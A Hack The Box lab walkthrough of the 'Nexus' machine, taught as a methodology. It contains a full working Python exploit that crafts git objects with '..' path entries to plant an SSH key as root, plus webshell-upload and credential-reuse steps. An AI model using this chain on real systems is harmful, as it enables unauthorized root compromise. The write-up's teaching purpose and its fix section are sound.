HTB Nexus - A Methodology-First Walkthrough
Foothold -> lateral movement -> custom-service privesc via git path traversal
Why this box is worth writing up
Most of Nexus is “normal” HTB fare - a leaked .env, credential reuse, an internal
service on a weird port. The part that actually teaches something is the very
last step: a bespoke root-owned sync script with a path traversal bug that
isn’t a CVE, isn’t in any database, and won’t show up in searchsploit. The
only way to find it is to have a repeatable process for looking at custom
automation. That process - not just the final payload - is the point of this
post.
1. Recon
Standard start:
sudo nmap -sC -sV <target>Two ports open: 22 and 80. The web app on 80 is a company site advertising a
job posting, which conveniently leaks an internal email address
(j.matthew@nexus.htb) - a detail that becomes relevant later for credential
reuse.
Subdomain enumeration with ffuf turns up two virtual hosts:
ffuf -u http://nexus.htb -H "Host: FUZZ.nexus.htb" -w <wordlist>git.nexus.htb-> Gitea instancebilling.nexus.htb-> Krayin CRM admin login
Methodology note: always subdomain-enumerate on a box with a single vhost in scope. A bare IP + port 80 rarely tells the whole story; the interesting attack surface is often hiding behind a vhost you haven’t found yet.
2. Foothold: leaked .env in git history
Browsing the Gitea instance turns up a repo (admin/krayin-docker-setup)
containing a .env file. The current version may be clean, but the commit
history isn’t - an earlier commit contains the database password in
plaintext.
Methodology note: whenever you find a git repo during enumeration, don’t
just look at the current file tree - check git log -p or browse the commit
history in the UI. Secrets get “removed” in a later commit far more often
than they get removed from history. This is one of the single highest-value
habits in web recon.
With DB credentials in hand, and knowing the email address from step 1,
logging into the Krayin admin panel at billing.nexus.htb/admin/login
succeeds.
The panel fingerprints as Krayin CRM v2.2.0. A version-first search (never
assume a vulnerability - confirm the version, then look it up) turns up a
known file-upload-to-RCE issue affecting v2.2.x. The exploitation path:
upload a file via any TinyMCE-backed image upload endpoint (e.g. compose
email), intercept the request in Burp, rename the file to .php, and swap
the body for a minimal PHP webshell. The application fails to validate the
extension server-side, and the file lands somewhere web-accessible.
From there, a one-liner reverse shell over the webshell gets an interactive
www-data shell, stabilized with:
python3 -c 'import pty; pty.spawn("/bin/bash")'3. www-data -> jones: credential reuse, twice
Re-reading the application’s own .env from the shell (not just the git
history) confirms the same DB password is live on the box. Since Linux
service accounts and application accounts frequently share passwords with
real human users on boxes like this, the natural next step is:
ssh jones@<target># try the DB passwordIt works. This is worth internalizing as a general heuristic: any password you find, try it everywhere - su, ssh, database, any other login you can reach. Password reuse across a stack is one of the most common real-world (and HTB) escalation vectors, precisely because it’s boring and people do it anyway.
user.txt is readable from jones’s home directory at this point.
4. The privesc problem: no sudo, no SUID, no cron
This is where the box stops being “find the known exploit” and starts being “build a process.” Standard privesc enumeration:
sudo -lfind / -perm -4000 -type f 2>/dev/nullfind / -perm -2000 -type f 2>/dev/nullgetcap -r / 2>/dev/nullcat /etc/crontabAll of it comes back clean. No sudo rights, only stock SUID binaries, no interesting capabilities, no writable cron jobs. This is the point where a lot of people stall out - but a clean result on all the “checklist” items just means the vector is somewhere else. The next question to ask is always:
What does root do periodically or automatically, that I might be able to influence?
That’s a broader net than cron alone - it includes systemd timers, systemd services, log processors, backup jobs, file watchers, and anything else that runs unattended as a privileged user.
ss -tlnpAn internal-only port 3000 shows up, bound to 127.0.0.1. Combined with
having already seen a git home directory on the box earlier
(/home/git), this is a strong signal: Gitea, running locally, not
exposed externally.
systemctl list-units --type=service --all | grep -i gitThis turns up two services:
gitea-template-sync.service loaded inactive dead Sync Gitea templatesgitea.service loaded active running GiteaMethodology note: any time you find a service tied to something you have
partial access to - here, Gitea, which jones can now reach - check for
sibling services and timers with a related name. Anything containing
sync, backup, deploy, watch, or import in its name is worth
reading in full, because those verbs almost always mean: takes input from
somewhere less-trusted than root, and performs file operations.
5. Reading the custom script - the actual finding process
Once a custom root-run script turns up, read it while asking three questions, in this order:
(a) What does it run as?
cat /etc/systemd/system/gitea-template-sync.service[Service]Type=oneshotUser=rootExecStart=/usr/bin/python3 /etc/gitea/template-sync.pyUser=root is immediately the most important line in the file. If this said
User=git, the bug below would be far less interesting - you’d already
control that account’s file space. Root execution is what turns a plain bug
into a privilege escalation.
(b) Where does its input come from - and do I control it?
cat /etc/gitea/template-sync.pyReading the script, the core logic is:
result = subprocess.run( GIT + ['ls-tree', '-r', 'HEAD'], cwd=bare_path, capture_output=True, text=True, timeout=10)...for line in result.stdout.strip().split('\n'): ... entries.append((mode, objhash, filepath))It walks the git tree of any repo flagged as a Gitea “template” repository and reads back a list of filenames. The critical question: can a normal, unprivileged user control what filenames appear in that list? Yes - any Gitea account can create a repo, mark it as a template, and push whatever files (and whatever filenames) they want. That’s the injection point.
(c) Does it write those filenames to disk without validating them first?
for mode, objhash, filepath in entries: target = os.path.join(stage_path, filepath) target_dir = os.path.dirname(target) ... with open(target, 'wb') as f: f.write(cat_result.stdout)This is the bug, in one line:
target = os.path.join(stage_path, filepath)os.path.join() does not sanitize .. traversal. If filepath is
../../../root/.ssh/authorized_keys, the resulting target escapes the
intended staging directory entirely. There is no check afterward that
target is still inside stage_path before the write happens.
The pattern to memorize: attacker-controlled string -> path join -> file write, with no validation in between -> root process. Any time all four of those line up, you’re looking at an arbitrary file write. This generalizes far beyond git - the same shape shows up in tar/zip extraction bugs (“Zip Slip”), backup restore tools, artifact-sync scripts, and file-upload handlers across many different languages.
6. Why git update-index won’t let you build this directly
The naive approach is to add a file with a .. path via git’s normal
commands:
git update-index --add --cacheinfo 100644,<blob>,'../../../root/.ssh/authorized_keys'This fails:
error: Invalid path '../../../root/.ssh/authorized_keys'This is expected - git’s porcelain commands (add, update-index,
checkout) validate path components specifically to prevent this kind of
traversal during normal use. But that validation lives in the porcelain
layer, not in git’s underlying object model. Git’s actual storage format
(blobs, trees, commits - plain files under .git/objects/) has no concept
of “invalid” filenames at all. If you write the objects yourself, at a low
enough level, nothing stops you from naming a tree entry ...
That’s the missing piece that made this bug exploitable in practice, and it’s the one part of this box that’s reasonable to need a reference for the first time - it’s git-internals trivia, not something you’d necessarily derive from scratch.
7. Building the malicious git objects by hand
A git object is stored as:
"<type> <byte-length>\0<content>"SHA-1 hashed, zlib-compressed, and written to
.git/objects/<first 2 hex chars>/<remaining 38 hex chars>. Three object
types are relevant:
- blob - raw file content
- tree - a directory listing: a list of
(mode, name, sha)entries - commit - points at one tree, plus author/committer metadata
Writing these directly in Python sidesteps every porcelain-level safety check:
#!/usr/bin/env python3import hashlib, zlib, os, subprocess, sys, time
def write_obj(data, t): h = ("%s %d" % (t, len(data))).encode() + b"\x00" s = h + data sha = hashlib.sha1(s).hexdigest() d = os.path.join(".git", "objects", sha[:2]) os.makedirs(d, exist_ok=True) p = os.path.join(d, sha[2:]) if not os.path.exists(p): open(p, "wb").write(zlib.compress(s)) return sha
def entry(mode, name, sha): return ("%s %s" % (mode, name)).encode() + b"\x00" + bytes.fromhex(sha)
if not os.path.isdir(".git"): print("Run inside git repo"); sys.exit(1)
r = subprocess.run(["cat", "/tmp/.k.pub"], capture_output=True, text=True)if r.returncode != 0: print("ssh-keygen -t ed25519 -f /tmp/.k -N ''"); sys.exit(1)key = r.stdout.strip() + "\n"
blob = write_obj(key.encode(), "blob")readme = write_obj(b"# Template\n", "blob")
ssh_t = write_obj(entry("100644", "authorized_keys", blob), "tree")cur = write_obj(entry("40000", ".ssh", ssh_t), "tree")fir = write_obj(entry("40000", "root", cur), "tree")
for i in range(4): fir = write_obj(entry("40000", "..", fir), "tree")
root = write_obj( entry("100644", "README.md", readme) + entry("40000", "..", fir), "tree")
ts = int(time.time())c = "tree %s\nauthor x <x@x> %d +0000\ncommitter x <x@x> %d +0000\n\ninit\n" % (root, ts, ts)sha = write_obj(c.encode(), "commit")
os.makedirs(os.path.join(".git", "refs", "heads"), exist_ok=True)open(os.path.join(".git", "refs", "heads", "main"), "w").write(sha + "\n")print("Done: " + sha)Read the tree-building section bottom-up, like nested folders:
ssh_t- a tree with one entry: fileauthorized_keys-> your key blobcur- a tree with one entry: folder.ssh->ssh_tfir- a tree with one entry: folderroot->cur- The loop wraps
firin four more single-entry trees, each folder literally named.. - The final
roottree adds a normalREADME.md(so the repo looks like an unremarkable template) alongside one more..wrapper
When something later runs git ls-tree -r on this tree, git walks it and
reports the full nested path exactly as constructed - because at the object
level, .. is just a string like any other. It has no special meaning until
a porcelain command tries to check it out onto a real filesystem, and by
then it’s too late: the vulnerable script already trusted the name.
8. Executing the exploit
ssh-keygen -t ed25519 -f /tmp/.k -N ''Create a new Gitea repo (e.g. RCE), and in its settings, mark it as a
Template Repository - this is what makes template-sync.py’s API query
pick it up at all.
git clone http://jones:'<password>'@git.nexus.htb/jones/RCE.gitcd RCEtouch README.mdpython3 /tmp/build.pygit push -u origin main --forceThe gitea-template-sync.timer fires once a minute. Watch the log from the
jones session:
cat /var/log/template-sync.log[...] Syncing template: jones/RCE[...] synced: README.md[...] synced: ../../../../../root/.ssh/authorized_keysThat second synced: line is the confirmation - the root-run script just
wrote your public key to /root/.ssh/authorized_keys.
ssh -i /tmp/.k root@<target>cat /root/root.txtFull chain, summarized
Job posting -> email address leak ↓Subdomain fuzz -> git.nexus.htb, billing.nexus.htb ↓Gitea repo commit history -> leaked DB password ↓Krayin CRM login -> version fingerprint -> known upload-to-RCE issue ↓www-data shell -> re-read .env -> same password ↓SSH as jones (password reuse) ↓sudo -l / SUID / cron clean -> pivot to "what runs as root periodically?" ↓Internal port 3000 + /home/git -> Gitea ↓systemctl list-units -> gitea-template-sync.service (User=root) ↓Read the script -> unsanitized os.path.join() on git ls-tree output ↓Git object-model plumbing bypasses porcelain path validation ↓Malicious tree with ../ entries -> marked as Gitea template ↓Timer fires -> root writes attacker's SSH key to /root/.ssh/authorized_keys ↓rootThe fix (for the sake of completeness)
This isn’t a Gitea CVE - Gitea behaved exactly as designed. The bug is entirely in the custom sync script, and the fix is small:
target = os.path.normpath(os.path.join(stage_path, filepath))if not target.startswith(os.path.abspath(stage_path) + os.sep): log(" blocked traversal attempt: %s" % filepath) continueAnd, just as importantly, the service shouldn’t run as root at all - it
only ever needs to write into a staging directory owned by the git user.
Running least-privileged automation as root is what turned a path traversal
bug into full system compromise; without that, this would have capped out
at “attacker can clobber files inside a low-privilege staging folder.”
Takeaways
- Always check git commit history, not just the current tree, for leaked secrets.
- Try every discovered credential everywhere - SSH, su, databases, other logins. Reuse is common because it’s convenient.
- When standard privesc checks (
sudo -l, SUID, cron) come back clean, broaden the question from “what’s misconfigured” to “what runs automatically as root, and can I influence its input?” - check systemd services and timers, not just cron. - When you find custom root-run automation, read it looking for three things: what user it runs as, where its input originates, and whether that input reaches a filesystem/command sink without validation.
attacker-controlled string -> path join -> file write, unchecked -> root processis a pattern worth memorizing - it recurs constantly, across languages and tools, well beyond this one box.